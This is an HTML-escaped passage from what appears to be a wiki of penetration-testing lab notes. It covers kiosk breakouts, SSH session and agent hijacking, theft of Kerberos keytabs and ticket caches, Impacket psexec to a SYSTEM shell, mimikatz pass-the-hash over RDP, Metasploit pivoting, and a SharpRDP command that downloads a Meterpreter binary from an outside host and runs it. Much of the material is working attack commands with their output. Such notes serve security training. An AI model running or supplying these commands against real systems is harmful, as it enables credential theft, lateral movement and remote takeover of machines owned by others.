&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
